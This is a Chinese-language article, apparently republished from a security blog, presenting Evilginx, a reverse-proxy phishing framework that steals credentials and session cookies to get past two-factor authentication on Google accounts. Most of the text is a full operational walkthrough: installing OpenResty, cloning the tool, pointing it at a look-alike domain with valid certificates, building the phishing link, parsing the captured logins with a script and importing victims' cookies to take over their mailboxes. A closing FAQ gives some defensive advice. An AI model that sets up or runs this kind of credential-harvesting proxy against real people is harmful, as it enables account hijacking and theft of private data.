Evilginx:可绕过双因素验证的高级钓鱼框架

360反馈意见截图16331130145644.png

过去几个月里,我一直在研究可用于渗透测试任务的网络钓鱼技术。我发现,几乎所有的网络钓鱼都是通过网络钓鱼获得登录凭证开始进行攻击的。

今天的这篇文章中,我将向大家展示新发现的一个钓鱼攻击技巧,它可以让网络钓鱼更加隐蔽。

首先声明下,Evilginx钓鱼攻击方法仅仅是我用来做钓鱼测试用的。之所以会公布出来,只是出于技术交流和安全漏洞预警目的。

Evilginx,可绕过双因素验证的高级钓鱼框架。它是一个中间人攻击框架,用于远程捕获任何Web服务的凭证和会话cookie。Evilginx使用Nginx HTTP服务器来代理合法登录访问者页面,并且即时捕获凭证和会话cookie。Evilginx支持远程操作,使用自定义域和有效的SSL证书。

接下来我将为大家详细分析一下Evilginx是如何对Google服务网络钓鱼的。由于目前还没有更好的方法来评估Evilginx的攻击性,所以还没有进行相关的保护措施。

请注意,Evilginx可以对任何网站进行攻击,而不仅仅是对Google。

大家感兴趣可以观看详细视频。

Evilginx是怎么运行的?

1.攻击者会向运行Evilginx的服务器发送一个钓鱼链接,URL中的参数解读:

rc = 成功登录后,受害者将被重定向到此链接,例如托管在Google云端硬盘上的文件。
rt = 这是仅在成功登录后才在浏览器中设置的会话cookie的名称。如果检测到这个cookie,这将是Evilginx登录成功的标识,受害者可以重定向到由rc参数提供的URL。

2.黑客可以通过任何可用的通信渠道(电子邮件,信使等)向受害者发送网络钓鱼链接。

3.受害者如果点击链接,就会为触发Evilginx代理的Google登录页面。

4.受害者输入他们的有效帐户凭证,通过双重身份验证,并将他们重定向到由rc参数指定的URL。此时,受害者的浏览器中的rd cookie将保存为notreallygoogle.com域。从现在开始,如果此cookie存在,当网络钓鱼链接重新打开时,他们就将立即重定向到rc URL,。

5.攻击者现在获得了受害者的电子邮件和密码,以及可以导入到攻击者的浏览器中的会话cookie,然后利用这些权限完全控制登录的会话,从而绕过受害者帐户启用的任何双重身份验证保护。

现在让我们来回顾一下传统网络钓鱼所出现的一些问题。

钓鱼凭证的首要任务和主要攻击障碍都是要解决双因素认证,黑客虽然可以创建最好的攻击模板,一次产生数十个登录名和密码,但是当通过短信来验证登录凭证时,就会遇到攻击障碍。这不仅会阻止黑客的进一步攻击,而且还会让帐户所有者收到登录尝试的报警提示。

网络钓鱼模板的第二个问题是,黑客必须允许接受任何登录和密码,因为他们无法确认这些登录名和密码的有效性,有时,这些都是无效的凭证。

第三个问题是必须创建网络钓鱼模板,一般来说,黑客要复制网站布局,禁止原javascript运行,修复CSS,编写并替换原JavaScript代码,从而使登录行为和原来保持一致,不让受害者发现异常。

在过去几个月里,我使用了类似Ettercap的HTTP代理软件,用C ++编写,使用Boost :: Asio库对原来网络钓鱼攻击进行了改进,从而实现了SSLstrip,DNS欺骗和HSTS绕过。虽然该解决方案在局域网中运行得很好,但是我想知道是否可以将相同的思路重新用于远程网络钓鱼,而无需使用定制软件。

最近我发现有位安全研究人员使用Nginx HTTP服务器的proxy_pass功能和sub_filter模块来代理访问者的真实登录页面,使用中间人攻击即时拦截登录凭证和会话cookie。这让我意识到Nginx可以用作外部服务器的代理,继而引发了Evilginx这个想法,这个想法是完美的,简单而有效。

在安装和使用之前,让我们先谈谈Evilginx的研究过程。

Evilginx介绍

Evilginx的核心是使用Nginx HTTP代理模块,它允许将客户端的请求传递给另一个服务器。这基本上允许Nginx服务器作为中间人代理,有效拦截客户端的所有请求,将请求修改和转发到另一个服务器。之后,它会拦截服务器的响应,修改它们并将其返回给客户端。此设置允许Evilginx捕获使用POST请求数据包发送的凭证,并在成功登录后捕获从代理服务器发回的有效会话Cookie。

为了防止访问者被重定向到真正的网站,从服务器检索的所有具有真实网站域的URL都需要用Evilginx网络钓鱼域替换,这由Nginx提供的sub_filter模块处理。

Nginx在实现了日志记录机制后,将会记录每个请求的详细信息,包括 POST(主体)参数以及cookie:和set-cookie:headers。我创建了一个名为evilginx_parser.py的Python脚本,它将解析Nginx日志并提取凭证和会话cookie,然后将其保存在相应的目录中,以便于管理。

不过钓鱼测试进展并不是那么顺利,Nginx的记录机制中存在一个大问题,几乎阻止了Evilginx钓鱼的最终实现。

看看以下Nginx配置行,就是这些行指定了应该创建日志条目的格式:

log_format foo '$remote_addr "$request" set_cookie=$sent_http_set_cookie';

变量$ sent_http_set_cookie存储了set-cookie响应头的值,这些头被成功授权后,将包含从服务器返回的会话cookie,并且必须将响应头的值包含在Nginx访问日志的输出中。

问题是,HTTP服务器返回多个设置Cookie标头中的Cookie,如下所示:

HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Set-Cookie: JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly  
Set-Cookie: APPID=this_is_the_second_cookie; path=/;  
Set-Cookie: NSAL33TTRACKER=this_is_the_third_cookie; path=/;  
Server: nginx  
Connection: close

由于某种原因,Nginx的$ sent_http_set_cookie变量不会将set-cookie头值存储为数组。相反,它仅存储第一个看到的set-cookie头的值,在我的测试案例中,set-cookie头的值将是JSESSIONID=this_is_the_first_cookie; path=/; secure; HttpOnly。这是一个巨大的问题,因为它允许只记录一个cookie。

要解决这个问题,我们有两个选择:

1.修改Nginx源代码并修复问题。

2.开发一个自定义的Nginx模块,可以进行更好的数据包解析。

不过进过测试,我发现这两个选择都不可行,因为它们都会要求我花费大量的时间来了解Nginx内部的构成。

不过最终我还是在有关Nginx配置文件中使用LUA脚本语言的文章中发现了解决办法,通过OpenResty Nginx修改,允许将小脚本放入站点配置文件中来处理数据包解析和数据输出。

OpenResty是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。

OpenResty通过汇聚各种设计精良的 Nginx 模块(主要由 OpenResty 团队自主开发),从而将 Nginx 有效地变成一个强大的通用 Web 应用平台。这样,Web 开发人员和系统工程师可以使用 Lua 脚本语言调动 Nginx 支持的各种 C 以及 Lua 模块,快速构造出足以胜任 10K 乃至 1000K 以上单机并发连接的高性能 Web 应用系统。

我发现通过使用lua脚本,可以将set-cookie头作为数组访问。

这是一个测试样本函数,它将所有set-cookie头值作为数组返回:

function get_cookies()  
    local cookies = ngx.header.set_cookie or {}
    if type(cookies) == "string" then
        cookies = {cookies}
    end
    return cookiesend

现在记录Cookie的大问题已经得到了解决,其中最重要的是,lua脚本在数据包修改方面允许我修改更多,而这些修改Vanilla Nginx就不允许的,例如修改响应报文头。

实战Evilginx

下面我会指导大家如何从头开始安装和设置所有内容。

安装之前的准备

首先,我需要一个服务器来承载Evilginx,我在digitalocean上使用了Debian 8.7 x64 512MB RAM VPS。如果大家通过此链接创建了一个帐户,那么你的服务器上就可以免费获得10美元。我使用的是最便宜的$5/mo服务器。

一旦我的服务器启动并运行,我们就需要登录并执行升级,以防万一:

apt-get update  
apt-get upgrade

还需要一个VPS的域名,强烈建议从NameCheap购买一个。

在这篇文章,我假设注册的域名是:notreallygoogle.com。

安装OpenResty/Nginx

现在可以继续安装OpenResty。我们将从源安装它,撰写本文时,OpenResty当前版本是1.11.2.2,所以如果你想要一个较新的版本,你可以查看下载页面获取更多最新的链接。

mkdir dev  
cd dev  
wget https://openresty.org/download/openresty-1.11.2.2.tar.gz  
tar zxvf openresty-1.11.2.2.tar.gz  
cd openresty-1.11.2.2

OpenResty解压后,需要安装编译器和依赖项来编译它。以下将安装就有make命令的GCC编译器,PCRE和OpenSSL开发库:

apt-get -y install make gcc libpcre3-dev libssl-dev

在编译源之前,我们需要配置安装。以下行将 将Nginx二进制文件,日志和配置文件放入正确的目录中,它还将启用sub_filter模块和LuaJIT功能:

./configure --user=www-data --group=www-data --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --with-http_ssl_module --with-pcre --with-http_sub_module --with-luajit

现在已经准备好编译和安装了:

make  make install

如果一切顺利,我们可以验证OpenResty是否正确安装:

root@phish:~# nginx -v  nginx version: openresty/1.11.2.2

从现在开始,我们将OpenResty称为Nginx。

设置守护进程

Nginx现在已经安装,但是它目前没有设置启动时启动或在后台运行。我们需要创建自己的systemd守护进程服务规则:

cat <<EOF > /etc/systemd/system/nginx.service  
[Unit]Description=The NGINX HTTP and reverse proxy server  
After=syslog.target network.target remote-fs.target nss-lookup.target[Service]Type=forking  
PIDFile=/run/nginx.pid  
ExecStartPre=/usr/sbin/nginx -t  
ExecStart=/usr/sbin/nginx  
ExecReload=/bin/kill -s HUP $MAINPID  ExecStop=/bin/kill -s QUIT $MAINPID  PrivateTmp=true[Install]WantedBy=multi-user.target  
EOF

在首次推出服务之前,大家必须正确配置Nginx。

Nginx配置

我们需要使用文本编辑器打开Nginx配置文件/etc/nginx/nginx.conf,并确保添加包含了/etc/nginx/sites-enabled/*的http {…}块。修改后,应该看起来像这样:

...
http {  
    include       mime.types;
    default_type  application/octet-stream;

    include /etc/nginx/sites-enabled/*;
    ...
}

从现在开始,Nginx会在/etc/nginx/sites-enabled/目录中查找站点配置,我们将在/etc/nginx/sites-available/目录中放置文件的符号链接。我们会创建两个目录:

mkdir /etc/nginx/sites-available/ /etc/nginx/sites-enabled/

需要为Nginx设置网络钓鱼站点配置,使用包含在Evilginx软件包中的网站配置来对Google用户进行网络钓鱼,最快的方法是复制Evilginx GitHub存储库:

apt-get -y install git  cd ~  
mkdir tools  
cd tools  
git clone https://github.com/kgretzky/evilginx  
cd evilginx

现在将Evilginx的站点配置模板复制到/etc/nginx/sites-available/目录,我们还将使用我们注册的域名替换模板文件中{{PHISH_DOMAIN}}的所有内容,本次案例是notreallygoogle.com。完成后,在/etc/nginx/sites-enabled/目录中创建一个符号链接到新站点配置文件:

cp ./sites/evilginx-google-template.conf /etc/nginx/sites-available/evilginx-google.conf  
sed -i 's/{{PHISH_DOMAIN}}/notreallygoogle.com/g' /etc/nginx/sites-available/evilginx-google.conf  
ln -s /etc/nginx/sites-available/evilginx-google.conf /etc/nginx/sites-enabled/

现在还差一个步骤,就是安装SSL/TLS证书,使Evilginx网络钓鱼站点看起来合法且安全。为此,我们将使用LetsEncrypt免费的SSL/TLS证书。

安装SSL/TLS证书

EFF发布了一个非常易于使用的工具,用来从LetsEncrypt获取有效的SSL/TLS证书,它被称为Certbot,我们现在将使用Certbot来进行安装。

打开/etc/apt/sources.list文件并添加以下行:

deb http://ftp.debian.org/debian jessie-backports main

现在安装Certbot:

apt-get update  
apt-get install certbot -t jessie-backports

如果一切顺利,应该很快能够获得证书。因为Certbot需要为LetsEncrypt打开HTTP端口来验证服务器的所有权,所以要确保Nginx有运行。输入以下命令并继续执行提示:

certbot certonly --standalone -d notreallygoogle.com -d accounts.notreallygoogle.com

成功后,我们的私钥和公共证书链应该在/etc/letsencrypt/live/notreallygoogle.com/目录下。 Evilginx的站点配置已经包含一个设置来使用此目录中的SSL/TLS证书。

请注意,LetsEncrypt证书有效期为90天,因此如果计划使用服务器超过3个月,可以向/etc/crontab添加certbot renew命令,并将其运行。这将确保SSL/TLS证书在30天或更短时间内到期时被更新。

开始进行钓鱼测试

一切都准备好了,现在要确保Nginx守护程序已启用:

systemctl enable nginx  
systemctl start nginx

检查Nginx是否正确使用了systemctl status nginx启动,并确保Nginx进程都打开了端口80和443,我们使用的是检查netstat -tunalp输出的方法。

如果大家在测试中间出现任何问题,请回溯你的步骤,看看你是否正确完成了所有操作。

为了创建网络钓鱼URL,我们还需要提供两个参数:

rc =成功登录后,受害者将被重定向到此链接,例如托管在Google云端硬盘上的文件。

rt =这是仅在成功登录后才在浏览器中设置的会话cookie的名称。如果检测到这个cookie,这将是Evilginx登录成功的指示,受害者可以重定向到由rc参数提供的URL。

假设我们想将钓鱼受害者重定向到以上视频中的rick'rol,就要确定Google的会话cookie名称是LSID,网址如下所示:

https://accounts.notreallygoogle.com/ServiceLogin?rc=https://www.youtube.com/watch?v=dQw4w9WgXcQ&rt=LSID

尝试一下,看看它是否能捕捉你自己的帐户。

捕获凭证和会话cookie

Nginx的站点配置设置为将数据输出到/var/log/evilginx-google.log文件中,该文件将存储通过Nginx代理的请求和响应的所有相关部分。日志内容很难分析,但我们可以自动执行解析。

我写了一个小的Python脚本,名为evilginx_parser.py,它将解析Nginx的日志文件,并从中提取凭证和会话cookie,凭证和会话cookie将保存在以帐户用户名命名的目录中,这些目录在一个单独的文件中。

我们假设现在已经通过网络钓鱼测试了Evilginx设置,并进行过帐户会话。下面让我们尝试提取捕获的数据,以下是脚本的用法:

# ./evilginx_parser.py -husage: evilginx_parser.py [-h] -i INPUT -o OUTDIR -c CREDS [-x]optional arguments:  
  -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        Input log file to parse.
  -o OUTDIR, --outdir OUTDIR
                        Directory where output files will be saved.
  -c CREDS, --creds CREDS
                        Credentials configuration file.
  -x, --truncate        Truncate log file after parsing.

所有可能来自–creds和 – truncate数据应该都能进行自我解释的,参数–creds指定输入配置文件,它为脚本提供信息,并决定了从日志文件中提取的数据类型。

Creds的配置文件为google.creds,如下所示:

[creds]
email_arg=Email  
passwd_arg=Passwd  
tokens=[{"domain":".google.com","cookies":["SID", "HSID", "SSID", "APISID", "SAPISID", "NID"]},{"domain":"accounts.google.com","cookies":["GAPS", "LSID"]}]

Creds文件提供登录表单用户名和密码参数名称的信息,它还指定了管理用户会话的cookie名称列表,并分配了域名,这些都将被拦截和捕获。

如果我们决定要为Evilginx执行其他服务的钓鱼攻击,那么也很容易创建自己的.creds配置文件。

如果提供-x / – truncate参数,脚本将在解析之后截断该日志文件。如果要使用cron自动执行解析器,这是非常有用的。

脚本的使用案例如下:

# ./evilginx_parser.py -i /var/log/evilginx-google.log -o ./logs -c google.creds -x

我们应该将提取的凭证和Cookie放入./logs目录中,这时帐户被组织成单独的目录,我们可以在其中找到包含登录尝试和会话cookie的文件。

会话Cookie可以保存为JSON格式,与Chrome的EditThisCookie扩展完全兼容。我们只需在扩展窗口中选择导入选项,然后将JSON数据复制粘贴到其中即可模拟捕获的会话。

请记住,在导入之前,最好先清除浏览器中的所有Cookie。

导入截取的会话Cookie后,打开Gmail,我们就进入到了捕获帐户的邮箱。

下面是读者碰到的一些常见的会话劫持问题,我们总结了7个和大家分享。

1.会话劫持允许完全控制帐户,而不需要知道用户的帐户密码吗?

不需要,当你将其他帐户的会话cookie导入浏览器时,服务器没有其他选择,而不是相信你确实是登录自己帐户的人员。

2.不应该有保护措施来防止这种情况吗?

黑客难以控制的唯一变量是源IP地址,处理关键数据的大多数Web服务不会允许同时从多个IP地址使用相同的会话令牌(例如银行的Web服务)。这样使会话令牌无效,要求黑客再次登录。据我们的测试,Google不关心使用有效会话令牌的帐户的IP地址。

我相信Google允许使用相同的会话令牌同时访问来自不同IP的帐户的唯一原因是用户体验,想象一下,有多少用户在不断访问他们的Google服务时切换他们的IP。他们通过手机和个人电脑进行登录,他们在咖啡店、工作和家庭之间转换。在这些地方,他们使用不同的无线网络、VPN或3G/4G网络。

如果Google每次发现IP更改时都会使会话令牌无效,则用户体验就会非常差,并且人们将切换到更易于使用的浏览器。

Google Chrome浏览器没有执行任何操作系统指纹验证来验证所有者的设备,因为这没有用,这将让使用其它浏览器(Firefox、Safari、Opera)的用户提供较少的保护,即使他们对操作系统进行了指纹操作,在用户登录期间,远程信息也必须以某种方式发送到服务器,这不可避免地也将允许劫持。

3.当尝试通过Evilginx网络钓鱼网站登录Google时,帐户所有者是否收到任何警报?

不会,成功登录后,帐户所有者将会收到他们的Android手机(使用同一个Google帐户注册)的推送通知,并收到一封电子邮件发送给他们的地址,其中包含有人从未知IP地址登录到他们的帐户的信息。 IP地址将是Evilginx服务器之一,因为它是作为中间代理人的代理,并且对Google服务器的所有请求都源自它。

黑客可以在访问该帐户后轻松删除“未知登录警报”电子邮件,但是他无法删除发送给所有者的Android手机的推送通知。

问题是,有些人可能会忽略该警报,这将在他们亲自签署Evilginx网络钓鱼网站后正确发送。

4.这种攻击如何解决对硬件的双因素身份验证?

显然,双因素身份验证的“安全密钥”解决方案可以检查你生成双因素令牌时所登录的域名。在这种情况下,攻击将无法正常工作,因为用户将无法登录,网络钓鱼域不是合法的。

双因素身份验证仅在登录过程中保护用户,如果用户密码被盗,双因素验证将作为备份安全保护,使用不太可能让黑客妥协的附加通信通道(个人电话,备份电子邮件帐户,硬件PIN码生成器)。

成功登录后,不管使用任何形式的双因素身份验证,服务器都必须在帐户的所有者浏览器中保存会话cookie,服务器将要求验证每个发送的后续请求的帐户所有者。

如果攻击者拥有会话cookie,那么由于用户成功登录,因此双因素验证方法并不重要。

5.如果不在Evilginx网络钓鱼页面勾选“记住我”选项框,会发生什么?造成临时性的会话令牌?

临时会话令牌将作为Cookie发送到用户的浏览器,没有到期日。当浏览器关闭时,是可以让浏览器知道从缓存中删除此cookie的。 Evilginx仍然会捕获临时会话令牌,而在提取期间,它会添将到期日期延长两年。

如果服务器在一段时间后没有任何使临时会话令牌无效的反应,那发出的令牌可能会被黑客使用很长时间,即使帐户所有者关闭浏览器。

6.如果会话令牌被盗该怎么办?如何不让黑客访问我的帐户?

你可以做的最好的事情是更改密码,像Google这样的成熟服务将会有效地使所有活动的会话令牌无效。此外,密码一旦被改,黑客将无法使用它来重新登录。

Google还提供了一个功能来查看所有活动会话的列表。

7.我该怎么避免这样的钓鱼攻击?

如果你在使用具有安全锁定图标的HTTPS进行登录,那你不要以为就是安全的,因为用HTTPS进行登录仅仅意味着你和服务器之间的数据是加密的,但是黑客要做的就是让对服务器进行钓鱼。

最重要的是检查地址栏中的域。如果登录页面的地址如下所示:https://accounts.mirror.com/ServiceLogin?blahblah,请将域名mirror.com直接放入Google搜索。如果搜索不到,你可能就是被钓鱼了。

结论

需要强调,Evilginx并没有利用任何漏洞。Google在防护钓鱼攻击上做得非常好,由于Evilginx作为用户和Google服务器之间的代理,Google会将代理服务器的IP识别为客户端,而不是用户的真实IP地址。因此,用户仍然会收到一个警报,以提示他们的帐户是从未知IP访问的,特别是当Evilginx托管服务器与用户不在同一个国家时。

我发布的这个工具,仅仅是作为一个测试,看看黑客是否可以去寻找你的帐户和私人数据。

另外,渗透测试员可以通过我发布的测试工具来随时测试客户的安全性和威胁系数。

在未来,我们还打算写一篇关于如何创建自己的Evilginx配置文件的文章,以便添加对你想要的任何网站进行网络钓鱼测试,敬请期待。

 

本文由 华盟网 作者:小龙 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。

0

相关文章

发表评论

电子邮件地址不会被公开。